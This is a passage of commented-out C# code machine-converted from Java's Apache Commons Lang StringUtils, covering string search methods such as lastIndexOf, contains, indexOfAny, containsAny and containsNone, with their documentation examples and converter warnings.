"b", 8) = 5 // /// StringUtils.lastIndexOf("aabaabaa", "ab", 8) = 4 // /// StringUtils.lastIndexOf("aabaabaa", "b", 9) = 5 // /// StringUtils.lastIndexOf("aabaabaa", "b", -1) = -1 // /// StringUtils.lastIndexOf("aabaabaa", "a", 0) = 0 // /// StringUtils.lastIndexOf("aabaabaa", "b", 0) = -1 // /// StringUtils.lastIndexOf("aabaabaa", "b", 1) = -1 // /// StringUtils.lastIndexOf("aabaabaa", "b", 2) = 2 // /// StringUtils.lastIndexOf("aabaabaa", "ba", 2) = -1 // /// StringUtils.lastIndexOf("aabaabaa", "ba", 2) = 2 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchSeq"> the CharSequence to find, may be null </param> // /// <param name="startPos"> the start position, negative treated as zero </param> // /// <returns> the last index of the search CharSequence (always &le; startPos), // /// -1 if no match or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from lastIndexOf(String, String, int) to lastIndexOf(CharSequence, CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int lastIndexOf(final CharSequence seq, final CharSequence searchSeq, final int startPos) // public static int lastIndexOf(CharSequence seq, CharSequence searchSeq, int startPos) // { // if (seq == null || searchSeq == null) // { // return INDEX_NOT_FOUND; // } // return CharSequenceUtils.LastIndexOf(seq, searchSeq, startPos); // } // /// <summary> // /// <para>Case in-sensitive find of the last index within a CharSequence.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A negative start position returns {@code -1}. // /// An empty ("") search CharSequence always matches unless the start position is negative. // /// A start position greater than the string length searches the whole string.</para> // /// // /// <pre> // /// StringUtils.lastIndexOfIgnoreCase(null, *) = -1 // /// StringUtils.lastIndexOfIgnoreCase(*, null) = -1 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "A") = 7 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "B") = 5 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "AB") = 4 // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStr"> the CharSequence to find, may be null </param> // /// <returns> the first index of the search CharSequence, // /// -1 if no match or {@code null} string input // /// @since 2.5 // /// @since 3.0 Changed signature from lastIndexOfIgnoreCase(String, String) to lastIndexOfIgnoreCase(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int lastIndexOfIgnoreCase(final CharSequence str, final CharSequence searchStr) // public static int lastIndexOfIgnoreCase(CharSequence str, CharSequence searchStr) // { // if (str == null || searchStr == null) // { // return INDEX_NOT_FOUND; // } // return lastIndexOfIgnoreCase(str, searchStr, str.length()); // } // /// <summary> // /// <para>Case in-sensitive find of the last index within a CharSequence // /// from the specified position.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A negative start position returns {@code -1}. // /// An empty ("") search CharSequence always matches unless the start position is negative. // /// A start position greater than the string length searches the whole string. // /// The search starts at the startPos and works backwards; matches starting after the start // /// position are ignored. // /// </para> // /// // /// <pre> // /// StringUtils.lastIndexOfIgnoreCase(null, *, *) = -1 // /// StringUtils.lastIndexOfIgnoreCase(*, null, *) = -1 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "A", 8) = 7 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "B", 8) = 5 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "AB", 8) = 4 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "B", 9) = 5 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "B", -1) = -1 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "A", 0) = 0 // /// StringUtils.lastIndexOfIgnoreCase("aabaabaa", "B", 0) = -1 // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStr"> the CharSequence to find, may be null </param> // /// <param name="startPos"> the start position </param> // /// <returns> the last index of the search CharSequence (always &le; startPos), // /// -1 if no match or {@code null} input // /// @since 2.5 // /// @since 3.0 Changed signature from lastIndexOfIgnoreCase(String, String, int) to lastIndexOfIgnoreCase(CharSequence, CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int lastIndexOfIgnoreCase(final CharSequence str, final CharSequence searchStr, int startPos) // public static int lastIndexOfIgnoreCase(CharSequence str, CharSequence searchStr, int startPos) // { // if (str == null || searchStr == null) // { // return INDEX_NOT_FOUND; // } // if (startPos > str.length() - searchStr.length()) // { // startPos = str.length() - searchStr.length(); // } // if (startPos < 0) // { // return INDEX_NOT_FOUND; // } // if (searchStr.length() == 0) // { // return startPos; // } // for (int i = startPos; i >= 0; i--) // { // if (CharSequenceUtils.regionMatches(str, true, i, searchStr, 0, searchStr.length())) // { // return i; // } // } // return INDEX_NOT_FOUND; // } // // Contains // //----------------------------------------------------------------------- // /// <summary> // /// <para>Checks if CharSequence contains a search character, handling {@code null}. // /// This method uses <seealso cref="String#indexOf(int)"/> if possible.</para> // /// // /// <para>A {@code null} or empty ("") CharSequence will return {@code false}.</para> // /// // /// <pre> // /// StringUtils.contains(null, *) = false // /// StringUtils.contains("", *) = false // /// StringUtils.contains("abc", 'a') = true // /// StringUtils.contains("abc", 'z') = false // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchChar"> the character to find </param> // /// <returns> true if the CharSequence contains the search character, // /// false if not or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from contains(String, int) to contains(CharSequence, int) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean contains(final CharSequence seq, final int searchChar) // public static bool contains(CharSequence seq, int searchChar) // { // if (isEmpty(seq)) // { // return false; // } // return CharSequenceUtils.IndexOf(seq, searchChar, 0) >= 0; // } // /// <summary> // /// <para>Checks if CharSequence contains a search CharSequence, handling {@code null}. // /// This method uses <seealso cref="String#indexOf(String)"/> if possible.</para> // /// // /// <para>A {@code null} CharSequence will return {@code false}.</para> // /// // /// <pre> // /// StringUtils.contains(null, *) = false // /// StringUtils.contains(*, null) = false // /// StringUtils.contains("", "") = true // /// StringUtils.contains("abc", "") = true // /// StringUtils.contains("abc", "a") = true // /// StringUtils.contains("abc", "z") = false // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchSeq"> the CharSequence to find, may be null </param> // /// <returns> true if the CharSequence contains the search CharSequence, // /// false if not or {@code null} string input // /// @since 2.0 // /// @since 3.0 Changed signature from contains(String, String) to contains(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean contains(final CharSequence seq, final CharSequence searchSeq) // public static bool contains(CharSequence seq, CharSequence searchSeq) // { // if (seq == null || searchSeq == null) // { // return false; // } // return CharSequenceUtils.IndexOf(seq, searchSeq, 0) >= 0; // } // /// <summary> // /// <para>Checks if CharSequence contains a search CharSequence irrespective of case, // /// handling {@code null}. Case-insensitivity is defined as by // /// <seealso cref="String#equalsIgnoreCase(String)"/>. // /// // /// </para> // /// <para>A {@code null} CharSequence will return {@code false}.</para> // /// // /// <pre> // /// StringUtils.containsIgnoreCase(null, *) = false // /// StringUtils.containsIgnoreCase(*, null) = false // /// StringUtils.containsIgnoreCase("", "") = true // /// StringUtils.containsIgnoreCase("abc", "") = true // /// StringUtils.containsIgnoreCase("abc", "a") = true // /// StringUtils.containsIgnoreCase("abc", "z") = false // /// StringUtils.containsIgnoreCase("abc", "A") = true // /// StringUtils.containsIgnoreCase("abc", "Z") = false // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStr"> the CharSequence to find, may be null </param> // /// <returns> true if the CharSequence contains the search CharSequence irrespective of // /// case or false if not or {@code null} string input // /// @since 3.0 Changed signature from containsIgnoreCase(String, String) to containsIgnoreCase(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsIgnoreCase(final CharSequence str, final CharSequence searchStr) // public static bool containsIgnoreCase(CharSequence str, CharSequence searchStr) // { // if (str == null || searchStr == null) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int len = searchStr.length(); // int len = searchStr.length(); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int max = str.length() - len; // int max = str.length() - len; // for (int i = 0; i <= max; i++) // { // if (CharSequenceUtils.regionMatches(str, true, i, searchStr, 0, len)) // { // return true; // } // } // return false; // } // /// <summary> // /// <para>Check whether the given CharSequence contains any whitespace characters.</para> // /// // /// </p>Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</p> // /// </summary> // /// <param name="seq"> the CharSequence to check (may be {@code null}) </param> // /// <returns> {@code true} if the CharSequence is not empty and // /// contains at least 1 (breaking) whitespace character // /// @since 3.0 </returns> // // From org.springframework.util.StringUtils, under Apache License 2.0 // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsWhitespace(final CharSequence seq) // public static bool containsWhitespace(CharSequence seq) // { // if (isEmpty(seq)) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int strLen = seq.length(); // int strLen = seq.length(); // for (int i = 0; i < strLen; i++) // { // if (char.IsWhiteSpace(seq.charAt(i))) // { // return true; // } // } // return false; // } // // IndexOfAny chars // //----------------------------------------------------------------------- // /// <summary> // /// <para>Search a CharSequence to find the first index of any // /// character in the given set of characters.</para> // /// // /// <para>A {@code null} String will return {@code -1}. // /// A {@code null} or zero length search array will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.indexOfAny(null, *) = -1 // /// StringUtils.indexOfAny("", *) = -1 // /// StringUtils.indexOfAny(*, null) = -1 // /// StringUtils.indexOfAny(*, []) = -1 // /// StringUtils.indexOfAny("zzabyycdxx",['z','a']) = 0 // /// StringUtils.indexOfAny("zzabyycdxx",['b','y']) = 3 // /// StringUtils.indexOfAny("aba", ['z']) = -1 // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <param name="searchChars"> the chars to search for, may be null </param> // /// <returns> the index of any of the chars, -1 if no match or null input // /// @since 2.0 // /// @since 3.0 Changed signature from indexOfAny(String, char[]) to indexOfAny(CharSequence, char...) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfAny(final CharSequence cs, final char... searchChars) // public static int indexOfAny(CharSequence cs, params char[] searchChars) // { // if (isEmpty(cs) || ArrayUtils.isEmpty(searchChars)) // { // return INDEX_NOT_FOUND; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int csLen = cs.length(); // int csLen = cs.length(); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int csLast = csLen - 1; // int csLast = csLen - 1; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLen = searchChars.length; // int searchLen = searchChars.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLast = searchLen - 1; // int searchLast = searchLen - 1; // for (int i = 0; i < csLen; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char ch = cs.charAt(i); // char ch = cs.charAt(i); // for (int j = 0; j < searchLen; j++) // { // if (searchChars[j] == ch) // { // if (i < csLast && j < searchLast && char.IsHighSurrogate(ch)) // { // // ch is a supplementary character // if (searchChars[j + 1] == cs.charAt(i + 1)) // { // return i; // } // } // else // { // return i; // } // } // } // } // return INDEX_NOT_FOUND; // } // /// <summary> // /// <para>Search a CharSequence to find the first index of any // /// character in the given set of characters.</para> // /// // /// <para>A {@code null} String will return {@code -1}. // /// A {@code null} search string will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.indexOfAny(null, *) = -1 // /// StringUtils.indexOfAny("", *) = -1 // /// StringUtils.indexOfAny(*, null) = -1 // /// StringUtils.indexOfAny(*, "") = -1 // /// StringUtils.indexOfAny("zzabyycdxx", "za") = 0 // /// StringUtils.indexOfAny("zzabyycdxx", "by") = 3 // /// StringUtils.indexOfAny("aba","z") = -1 // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <param name="searchChars"> the chars to search for, may be null </param> // /// <returns> the index of any of the chars, -1 if no match or null input // /// @since 2.0 // /// @since 3.0 Changed signature from indexOfAny(String, String) to indexOfAny(CharSequence, String) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfAny(final CharSequence cs, final String searchChars) // public static int indexOfAny(CharSequence cs, string searchChars) // { // if (isEmpty(cs) || isEmpty(searchChars)) // { // return INDEX_NOT_FOUND; // } // return indexOfAny(cs, searchChars.ToCharArray()); // } // // ContainsAny // //----------------------------------------------------------------------- // /// <summary> // /// <para>Checks if the CharSequence contains any character in the given // /// set of characters.</para> // /// // /// <para>A {@code null} CharSequence will return {@code false}. // /// A {@code null} or zero length search array will return {@code false}.</para> // /// // /// <pre> // /// StringUtils.containsAny(null, *) = false // /// StringUtils.containsAny("", *) = false // /// StringUtils.containsAny(*, null) = false // /// StringUtils.containsAny(*, []) = false // /// StringUtils.containsAny("zzabyycdxx",['z','a']) = true // /// StringUtils.containsAny("zzabyycdxx",['b','y']) = true // /// StringUtils.containsAny("zzabyycdxx",['z','y']) = true // /// StringUtils.containsAny("aba", ['z']) = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <param name="searchChars"> the chars to search for, may be null </param> // /// <returns> the {@code true} if any of the chars are found, // /// {@code false} if no match or null input // /// @since 2.4 // /// @since 3.0 Changed signature from containsAny(String, char[]) to containsAny(CharSequence, char...) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsAny(final CharSequence cs, final char... searchChars) // public static bool containsAny(CharSequence cs, params char[] searchChars) // { // if (isEmpty(cs) || ArrayUtils.isEmpty(searchChars)) // { // return false; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int csLength = cs.length(); // int csLength = cs.length(); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLength = searchChars.length; // int searchLength = searchChars.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int csLast = csLength - 1; // int csLast = csLength - 1; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLast = searchLength - 1; // int searchLast = searchLength - 1; // for (int i = 0; i < csLength; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char ch = cs.charAt(i); // char ch = cs.charAt(i); // for (int j = 0; j < searchLength; j++) // { // if (searchChars[j] == ch) // { // if (char.IsHighSurrogate(ch)) // { // if (j == searchLast) // { // // missing low surrogate, fine, like String.indexOf(String) // return true; // } // if (i < csLast && searchChars[j + 1] == cs.charAt(i + 1)) // { // return true; // } // } // else // { // // ch is in the Basic Multilingual Plane // return true; // } // } // } // } // return false; // } // /// <summary> // /// <para> // /// Checks if the CharSequence contains any character in the given set of characters. // /// </para> // /// // /// <para> // /// A {@code null} CharSequence will return {@code false}. A {@code null} search CharSequence will return // /// {@code false}. // /// </para> // /// // /// <pre> // /// StringUtils.containsAny(null, *) = false // /// StringUtils.containsAny("", *) = false // /// StringUtils.containsAny(*, null) = false // /// StringUtils.containsAny(*, "") = false // /// StringUtils.containsAny("zzabyycdxx", "za") = true // /// StringUtils.containsAny("zzabyycdxx", "by") = true // /// StringUtils.containsAny("zzabyycdxx", "zy") = true // /// StringUtils.containsAny("zzabyycdxx", "\tx") = true // /// StringUtils.containsAny("zzabyycdxx", "$.#yF") = true // /// StringUtils.containsAny("aba","z") = false // /// </pre> // /// </summary> // /// <param name="cs"> // /// the CharSequence to check, may be null </param> // /// <param name="searchChars"> // /// the chars to search for, may be null </param> // /// <returns> the {@code true} if any of the chars are found, {@code false} if no match or null input // /// @since 2.4 // /// @since 3.0 Changed signature from containsAny(String, String) to containsAny(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsAny(final CharSequence cs, final CharSequence searchChars) // public static bool containsAny(CharSequence cs, CharSequence searchChars) // { // if (searchChars == null) // { // return false; // } // return containsAny(cs, CharSequenceUtils.ToCharArray(searchChars)); // } // /// <summary> // /// <para>Checks if the CharSequence contains any of the CharSequences in the given array.</para> // /// // /// <para> // /// A {@code null} {@code cs} CharSequence will return {@code false}. A {@code null} or zero // /// length search array will return {@code false}. // /// </para> // /// // /// <pre> // /// StringUtils.containsAny(null, *) = false // /// StringUtils.containsAny("", *) = false // /// StringUtils.containsAny(*, null) = false // /// StringUtils.containsAny(*, []) = false // /// StringUtils.containsAny("abcd", "ab", null) = true // /// StringUtils.containsAny("abcd", "ab", "cd") = true // /// StringUtils.containsAny("abc", "d", "abc") = true // /// </pre> // /// // /// </summary> // /// <param name="cs"> The CharSequence to check, may be null </param> // /// <param name="searchCharSequences"> The array of CharSequences to search for, may be null. // /// Individual CharSequences may be null as well. </param> // /// <returns> {@code true} if any of the search CharSequences are found, {@code false} otherwise // /// @since 3.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsAny(final CharSequence cs, final CharSequence... searchCharSequences) // public static bool containsAny(CharSequence cs, params CharSequence[] searchCharSequences) // { // if (isEmpty(cs) || ArrayUtils.isEmpty(searchCharSequences)) // { // return false; // } // foreach (CharSequence searchCharSequence in searchCharSequences) // { // if (contains(cs, searchCharSequence)) // { // return true; // } // } // return false; // } // // IndexOfAnyBut chars // //----------------------------------------------------------------------- // /// <summary> // /// <para>Searches a CharSequence to find the first index of any // /// character not in the given set of characters.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A {@code null} or zero length search array will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.indexOfAnyBut(null, *) = -1 // /// StringUtils.indexOfAnyBut("", *) = -1 // /// StringUtils.indexOfAnyBut(*, null) = -1 // /// StringUtils.indexOfAnyBut(*, []) = -1 // /// StringUtils.indexOfAnyBut("zzabyycdxx", new char[] {'z', 'a'} ) = 3 // /// StringUtils.indexOfAnyBut("aba", new char[] {'z'} ) = 0 // /// StringUtils.indexOfAnyBut("aba", new char[] {'a', 'b'} ) = -1 // /// // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <param name="searchChars"> the chars to search for, may be null </param> // /// <returns> the index of any of the chars, -1 if no match or null input // /// @since 2.0 // /// @since 3.0 Changed signature from indexOfAnyBut(String, char[]) to indexOfAnyBut(CharSequence, char...) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfAnyBut(final CharSequence cs, final char... searchChars) // public static int indexOfAnyBut(CharSequence cs, params char[] searchChars) // { // if (isEmpty(cs) || ArrayUtils.isEmpty(searchChars)) // { // return INDEX_NOT_FOUND; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int csLen = cs.length(); // int csLen = cs.length(); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int csLast = csLen - 1; // int csLast = csLen - 1; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLen = searchChars.length; // int searchLen = searchChars.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLast = searchLen - 1; // int searchLast = searchLen - 1; // for (int i = 0; i < csLen; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char ch = cs.charAt(i); // char ch = cs.charAt(i); // for (int j = 0; j < searchLen; j++) // { // if (searchChars[j] == ch) // { // if (i < csLast && j < searchLast && char.IsHighSurrogate(ch)) // { // if (searchChars[j + 1] == cs.charAt(i + 1)) // { // goto outerContinue; // } // } // else // { // goto outerContinue; // } // } // } // return i; // outerContinue:; // } // outerBreak: // return INDEX_NOT_FOUND; // } // /// <summary> // /// <para>Search a CharSequence to find the first index of any // /// character not in the given set of characters.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A {@code null} or empty search string will return {@code -1}.</para> // /// // /// <pre> // /// StringUtils.indexOfAnyBut(null, *) = -1 // /// StringUtils.indexOfAnyBut("", *) = -1 // /// StringUtils.indexOfAnyBut(*, null) = -1 // /// StringUtils.indexOfAnyBut(*, "") = -1 // /// StringUtils.indexOfAnyBut("zzabyycdxx", "za") = 3 // /// StringUtils.indexOfAnyBut("zzabyycdxx", "") = -1 // /// StringUtils.indexOfAnyBut("aba","ab") = -1 // /// </pre> // /// </summary> // /// <param name="seq"> the CharSequence to check, may be null </param> // /// <param name="searchChars"> the chars to search for, may be null </param> // /// <returns> the index of any of the chars, -1 if no match or null input // /// @since 2.0 // /// @since 3.0 Changed signature from indexOfAnyBut(String, String) to indexOfAnyBut(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfAnyBut(final CharSequence seq, final CharSequence searchChars) // public static int indexOfAnyBut(CharSequence seq, CharSequence searchChars) // { // if (isEmpty(seq) || isEmpty(searchChars)) // { // return INDEX_NOT_FOUND; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int strLen = seq.length(); // int strLen = seq.length(); // for (int i = 0; i < strLen; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char ch = seq.charAt(i); // char ch = seq.charAt(i); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final boolean chFound = CharSequenceUtils.indexOf(searchChars, ch, 0) >= 0; // bool chFound = CharSequenceUtils.IndexOf(searchChars, ch, 0) >= 0; // if (i + 1 < strLen && char.IsHighSurrogate(ch)) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char ch2 = seq.charAt(i + 1); // char ch2 = seq.charAt(i + 1); // if (chFound && CharSequenceUtils.IndexOf(searchChars, ch2, 0) < 0) // { // return i; // } // } // else // { // if (!chFound) // { // return i; // } // } // } // return INDEX_NOT_FOUND; // } // // ContainsOnly // //----------------------------------------------------------------------- // /// <summary> // /// <para>Checks if the CharSequence contains only certain characters.</para> // /// // /// <para>A {@code null} CharSequence will return {@code false}. // /// A {@code null} valid character array will return {@code false}. // /// An empty CharSequence (length()=0) always returns {@code true}.</para> // /// // /// <pre> // /// StringUtils.containsOnly(null, *) = false // /// StringUtils.containsOnly(*, null) = false // /// StringUtils.containsOnly("", *) = true // /// StringUtils.containsOnly("ab", '') = false // /// StringUtils.containsOnly("abab", 'abc') = true // /// StringUtils.containsOnly("ab1", 'abc') = false // /// StringUtils.containsOnly("abz", 'abc') = false // /// </pre> // /// </summary> // /// <param name="cs"> the String to check, may be null </param> // /// <param name="valid"> an array of valid chars, may be null </param> // /// <returns> true if it only contains valid chars and is non-null // /// @since 3.0 Changed signature from containsOnly(String, char[]) to containsOnly(CharSequence, char...) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsOnly(final CharSequence cs, final char... valid) // public static bool containsOnly(CharSequence cs, params char[] valid) // { // // All these pre-checks are to maintain API with an older version // if (valid == null || cs == null) // { // return false; // } // if (cs.length() == 0) // { // return true; // } // if (valid.Length == 0) // { // return false; // } // return indexOfAnyBut(cs, valid) == INDEX_NOT_FOUND; // } // /// <summary> // /// <para>Checks if the CharSequence contains only certain characters.</para> // /// // /// <para>A {@code null} CharSequence will return {@code false}. // /// A {@code null} valid character String will return {@code false}. // /// An empty String (length()=0) always returns {@code true}.</para> // /// // /// <pre> // /// StringUtils.containsOnly(null, *) = false // /// StringUtils.containsOnly(*, null) = false // /// StringUtils.containsOnly("", *) = true // /// StringUtils.containsOnly("ab", "") = false // /// StringUtils.containsOnly("abab", "abc") = true // /// StringUtils.containsOnly("ab1", "abc") = false // /// StringUtils.containsOnly("abz", "abc") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <param name="validChars"> a String of valid chars, may be null </param> // /// <returns> true if it only contains valid chars and is non-null // /// @since 2.0 // /// @since 3.0 Changed signature from containsOnly(String, String) to containsOnly(CharSequence, String) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsOnly(final CharSequence cs, final String validChars) // public static bool containsOnly(CharSequence cs, string validChars) // { // if (cs == null || string.ReferenceEquals(validChars, null)) // { // return false; // } // return containsOnly(cs, validChars.ToCharArray()); // } // // ContainsNone // //----------------------------------------------------------------------- // /// <summary> // /// <para>Checks that the CharSequence does not contain certain characters.</para> // /// // /// <para>A {@code null} CharSequence will return {@code true}. // /// A {@code null} invalid character array will return {@code true}. // /// An empty CharSequence (length()=0) always returns true.</para> // /// // /// <pre> // /// StringUtils.containsNone(null, *) = true // /// StringUtils.containsNone(*, null) = true // /// StringUtils.containsNone("", *) = true // /// StringUtils.containsNone("ab", '') = true // /// StringUtils.containsNone("abab", 'xyz') = true // /// StringUtils.containsNone("ab1", 'xyz') = true // /// StringUtils.containsNone("abz", 'xyz') = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <param name="searchChars"> an array of invalid chars, may be null </param> // /// <returns> true if it contains none of the invalid chars, or is null // /// @since 2.0 // /// @since 3.0 Changed signature from containsNone(String, char[]) to containsNone(CharSequence, char...) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsNone(final CharSequence cs, final char... searchChars) // public static bool containsNone(CharSequence cs, params char[] searchChars) // { // if (cs == null || searchChars == null) // { // return true; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int csLen = cs.length(); // int csLen = cs.length(); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int csLast = csLen - 1; // int csLast = csLen - 1; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLen = searchChars.length; // int searchLen = searchChars.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int searchLast = searchLen - 1; // int searchLast = searchLen - 1; // for (int i = 0; i < csLen; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char ch = cs.charAt(i); // char ch = cs.charAt(i); // for (int j = 0; j < searchLen; j++) // { // if (searchChars[j] == ch) // { // if (char.IsHighSurrogate(ch)) // { // if (j == searchLast) // { // // missing low surrogate, fine, like String.indexOf(String) // return false; // } // if (i < csLast && searchChars[j + 1] == cs.charAt(i + 1)) // { // return false; // } // } // else // { // // ch is in the Basic Multilingual Plane // return false; // } // } // } // } // return true; // } // /// <summary> // /// <para>Checks that the CharSequence does not contain certain characters.</para> // /// // /// <para>A {@code null} CharSequence will return {@code true}. // /// A {@code null} invalid character array will return {@code true}. // /// An empty String ("") always returns true.</para> // /// // /// <pre> // /// StringUtils.containsNone(null, *) = true // /// StringUtils.containsNone(*, null) = true // /// StringUtils.containsNone("", *) = true // /// StringUtils.containsNone("ab", "") = true // /// StringUtils.containsNone("abab", "xyz") = true // /// StringUtils.containsNone("ab1", "xyz") = true // /// StringUtils.containsNone("abz", "xyz") = false // /// </pre> // /// </summary> // /// <param name="cs"> the CharSequence to check, may be null </param> // /// <param name="invalidChars"> a String of invalid chars, may be null </param> // /// <returns> true if it contains none of the invalid chars, or is null // /// @since 2.0 // /// @since 3.0 Changed signature from containsNone(String, String) to containsNone(CharSequence, String) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static boolean containsNone(final CharSequence cs, final String invalidChars) // public static bool containsNone(CharSequence cs, string invalidChars) // { // if (cs == null || string.ReferenceEquals(invalidChars, null)) // { // return true; // } // return containsNone(cs, invalidChars.ToCharArray()); // } // // IndexOfAny strings // //----------------------------------------------------------------------- // /// <summary> // /// <para>Find the first index of any of a set of potential substrings.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A {@code null} or zero length search array will return {@code -1}. // /// A {@code null} search array entry will be ignored, but a search // /// array containing "" will return {@code 0} if {@code str} is not // /// null. This method uses <seealso cref="String#indexOf(String)"/> if possible.</para> // /// // /// <pre> // /// StringUtils.indexOfAny(null, *) = -1 // /// StringUtils.indexOfAny(*, null) = -1 // /// StringUtils.indexOfAny(*, []) = -1 // /// StringUtils.indexOfAny("zzabyycdxx", ["ab","cd"]) = 2 // /// StringUtils.indexOfAny("zzabyycdxx", ["cd","ab"]) = 2 // /// StringUtils.indexOfAny("zzabyycdxx", ["mn","op"]) = -1 // /// StringUtils.indexOfAny("zzabyycdxx", ["zab","aby"]) = 1 // 